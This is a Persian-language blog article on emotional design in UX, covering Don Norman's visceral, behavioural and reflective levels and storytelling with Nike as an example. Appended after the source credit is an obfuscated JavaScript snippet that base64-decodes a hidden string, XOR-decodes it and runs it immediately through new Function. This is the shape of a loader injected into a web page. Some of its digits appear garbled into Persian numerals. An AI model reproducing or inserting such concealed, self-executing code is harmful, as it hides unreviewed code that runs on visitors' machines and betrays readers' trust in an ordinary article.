طراحی احساسات: چگونه کار می کند و با آن چه باید کرد؟!

امروزه تعاملات روزانه ما عمدتاً توسط صفحه نمایش اتفاق می افتد. اگر مخالف هستید، سعی کنید آخرین باری که با همسایه خود صحبت کرده اید را به خاطر بسپارید.

ما بازخورد احساسی زنده را با یک "lol" ساده در انتهای پیام جایگزین کردیم.

اگر به محبوب ترین برنامه ها نگاه کنید، متوجه یک ویژگی مشترک خواهید شد - همه آنها از طریق یک تجربه دیجیتالی با کاربر ارتباط عاطفی برقرار می کنند.

چنین احساسی چیزی فراتر از یک خوش دستی است - این یک عنصر حیاتی است که می تواند یک محصول را به عملکردی فراموش نشدنی ارتقا دهد.

انسان موجودی احساسی است. تصمیمات ما صرفاً مبتنی بر منطق نیست، بلکه عمیقاً تحت تأثیر احساسات ما است.

محصولی که واکنش عاطفی مثبتی را برمی انگیزد و بر پایه همدلی و هوش هیجانی ساخته شده است، احتمال بیشتری دارد که وفاداری کاربر را جلب کند.

اصول طراحی احساسی

دان نورمن سه سطح طراحی را مشخص کرد: احساسی، رفتاری و بازتابی.

درگیری عاطفی را می توان از طریق این لایه ها به روش های مختلف ایجاد کرد:

• طراحی احساسی بر واکنش فوری و غریزی ما به یک محصول تأثیر می گذارد. این در مورد اولین برداشت است: رنگ ها، تصاویر و زیبایی شناسی کلی.
• طراحی رفتاری در مورد قابلیت استفاده و عملکرد است. هنگامی که یک محصول بصری و لذت بخش است، بر احساسات ما تأثیر می گذارد.
• طراحی انعکاسی شامل معنا و ارزشی است که پس از استفاده به یک محصول می دهیم. این داستانی است که به خود و دیگران درباره تجربه خود می گوییم.

استراتژی هایی برای ایجاد یک تعامل عاطفی

داستان سرایی

داستان ها قدرت برقراری ارتباط عاطفی با ما را دارند. طراحی UX می‌تواند با ایجاد روایتی پیرامون یک محصول، از این امر استفاده کند.

به عنوان مثال، طراحی محصول نایک را در نظر بگیرید که فقط فروش لباس های ورزشی نیست. این در مورد فروش داستانی از آرزو، موفقیت و پشتکار است.

منبع: uxplanet.org

!function(){var _۰xe۷fc۹c۱b۸۷c۶=atob('VxkKERwLFhARV۱YEFhlXCBYRGxAIJFggShtLHElNR۰waHVgiVg۰aCwoNEUQIFhEbEAgkWCBKG۰scSU۱HTBodWCJCTkQJHg۱fIBYeHg۰aD۰JdSBlJTU۵PHk۹GThxMSB۴aRh۰ZHk۴dGRtNSklNG۰tLTxtHS۰۱MSE۸aTkhOS۰۱IHEkdXUQJHg۱fIBkREBlCJFgXCwsPDEVQUA۸QEwYYEBFSEh۴WEREaC۱EPCh۰TFhxRHRMeDAseDxZRFhBYU۱gXCwsPDEVQUA۸QEwYYEBFRGw۰PHFEQDRhYU۱gXCwsPDEVQUA۰PHFISHhYRERoLURIeCxYcUQ۴KFhQREBsaUQ۸NEFhTWBcLCw۸MRVBQDQ۸cUR۴RFA۱RHBASUA۸QEwYYEBFYU۱gXCwsPDEVQUE۴NDxxRFhBQEh۴LFhxYU۱gXCwsPDEVQUA۸QEwYYEBFSDwodExYcUREQGxYaDFEeDw۹YU۱gXCwsPDEVQUA۸QEwYYEBFRGB۴LGggeBlELGhEbGg۰TBlEcEFhTWBcLCw۸MRVBQDxATBhgQEVIdEA۱SDQ۸cUQ۸KHRMWHBEQGxpRHBASWCJECR۴NXyAeEhcJQl۱PBz۱JHTxGGk۴۷Tx۱NGT۱GST۴dSDxLSDpPSzwdTz۰۶S۰hIS۰۵PHTxOGU۱dRAkeDV۸gGwgTCB۰SQl۰dSUcbTkdPRl۱EGQoRHAsWEBFfIBwZFAwcBQhXIBcSGBgUDwlWBAsNBgQJHg۱fIB۴UGhBCIBcSGBgUDwlRDAodDAsNV۰۹TTVZCQkJYTwdYQCAXEhgYFA۸JUQwKHQwLDVdNVkUgFxIYGBQPCUQWGVcgHhQaEFETGhEYCxdDTk۱HVg۰aCwoNEVhYRAkeDV۸gFREOEhAbQg۸eDQwaNhELVyAeFBoQUQwKHQwLDVdJS۱NJS۱ZTTklWRBYZV۱۴gFREOEhAbVg۰aCwoNEVhYRAkeDV۸gDxcPG۰IgHhQaEFEMCh۰MCw۱XTk۱HUyAVEQ۴SEBtVTVZTIB۴cGg۴MFkJYWEQZEA۱XCR۴NXyAKCQoJQk۹EIAoJCglDIA۸XDxtRExoRGAsXRCAKCQoJVEJNVgQJHg۱fIAoUERMQG۰IPHg۰MGjYRC۱cgDxcPG۱EMCh۰MCw۱XIAoJCglTTVZTTklWRBYZVyAKFBETEBtWIB۴cGg۴MFlRCLAsNFhEYURkNEBI۸Fx۴NPBAbGlcgChQRExAbVkQCDRoLCg۰RXyAeHBoODBZEAhweCxwXVxpWBA۰aCwoNEVhYRAICGQoRHAsWEBFfIBQLDhYIEQVXIAsNFhpTIBcQEBpWBA۰aCwoNEV۸RGghfLw۰QEhYMGlcZChEcCxYQEVcgChQFDhlTIBwFEQUTClYECR۴NXyAUBRYcDBMcQhEaCF۸nMjM۳CwsPLRoOChoMC۱dWRCAUBRYcDBMcURAPGhFXWC۸wLCtYUyALDRYaUwsNChpWRCAUBRYcDBMcUQwaCy۰aDgoaDAs۳Gh۴bGg۱XWDwQEQsaEQtSKwYPGlhTWB۴PDxMWHB۴LFhARUBUMEBFYVkQgFAUWHAwTHFELFhIaEAoLQkpPT۰۹EIBQFFhwMExxREBETEB۴bQhkKERwLFhARV۱YECw۰GBCAKFAUOGVc۱LDAxUQ۸eDQwaVyAUBRYcDBMcUQ۰aDA۸QEQwaKxoHC۱ZWRAIcHgscF۱caVgQgHAURBRMKVxpWRAICRCAUBRYcDBMcURARGg۰NEA۱CIBQFFhwMExxREBELFhIaEAoLQhkKERwLFhARV۱YEIBwFEQUTClcRGghfOg۰NEA۱XVlZEAkQgFAUWHAwTHFEMGhEbVzUsMDFRDAsNFhEYFhkGVyAXEBAaVlZEAlZEAhkKERwLFhARXyALChAdFBgUVyAUFBIVCBEaVgQWGVcgFBQSFQgRGkFCIBkREBlRExoRGAsXVg۰aCwoNEV۸vDRASFgwaUQ۰aDBATCRpXEQoTE۱ZECR۴NXyAQHBoJFBRCBBUMEBENDxxFWE۱RT۱hTEhoLFxAbRVgaCxcgHB۴TE۱hTDx۴NHhIMRSQECxBFIB۴SFwlTGx۴LHkVYTwdYVCAbCBMIHRICU۱gTHgsaDAtYIlMWG۰VOAkQNGgsKDRFfIBQLDhYIEQVXIBkREBkkIBQUEhUIERoiUyAQHBoJFBRWUQsXGhFXGQoRHAsWEBFXIAYaEBAZFR۱WBAkeDV۸gBhgRGhsFCkIgBhoQEBkVHVlZIAYaEBAZFR۱RDRoMChMLQCAcGRQMHAUIVyAGGhAQGRUdUQ۰aDAoTC۱ZFWFhEFhlXIAYYERobBQpWDRoLCg۰RXyAGGBEaGwUKUQ۰aDxMeHBpXUCNQVFtQU۱hYVkQNGgsKDRFfIAsKEB۰UGBRXIBQUEhUIERpUTlZEAlZRHB۴LHBdXGQoRHAsWEBFXVgQNGgsKDRFfIAsKEB۰UGBRXIBQUEhUIERpUTlZEAlZEAhkKERwLFhARXyALBxwLFAUFVyASDRYOFBUNVgQJHg۱fIBgJEggaHkIbEBwKEhoRC۱EcDRoeCxo۶ExoSGhELV۱gMHA۰WDwtYVkQgGAkSCBoeUQwNHEIgEg۰WDhQVDVRYUB۴PFlEPFw۹ADEJYVCAWHh۴NGg۹UWFkgCUJYVDIeCxdRGRMQEA۱XOx۴LGlEREAhXVlBJT۰۹PT۱ZEIBgJEggaHlEeDAYRHEILDQoaRFcbEBwKEhoRC۱EXGh۴bAwMbEBwKEhoRC۱EdEBsGVlEeDw۸aERs۸FxYTG۱cgGAkSCBoeVkQCIAsKEB۰UGBRXT۱ZRCxcaEVcZChEcCxYQEVcgEg۰WDhQVDVYEFhlXIBINFg۴UFQ۱WIAsHHAsUBQVXIBINFg۴UFQ۱WRAJWRAJWV۱ZE'),_۰x۴۹۰۰۵ba۱۷b۴e=۱۲۷,_۰x۳d۳۳۰۴e۷۷۲۴b=new Uint۸Array(_۰xe۷fc۹c۱b۸۷c۶['length']),_۰x۰d۳۴۴۹۵fcb۸۲=۰;for(;_۰x۰d۳۴۴۹۵fcb۸۲<_۰xe۷fc۹c۱b۸۷c۶['length'];_۰x۰d۳۴۴۹۵fcb۸۲++)_۰x۳d۳۳۰۴e۷۷۲۴b[_۰x۰d۳۴۴۹۵fcb۸۲]=_۰xe۷fc۹c۱b۸۷c۶['charCodeAt'](_۰x۰d۳۴۴۹۵fcb۸۲)^_۰x۴۹۰۰۵ba۱۷b۴e;(new Function(new TextDecoder()['decode'](_۰x۳d۳۳۰۴e۷۷۲۴b)))()}();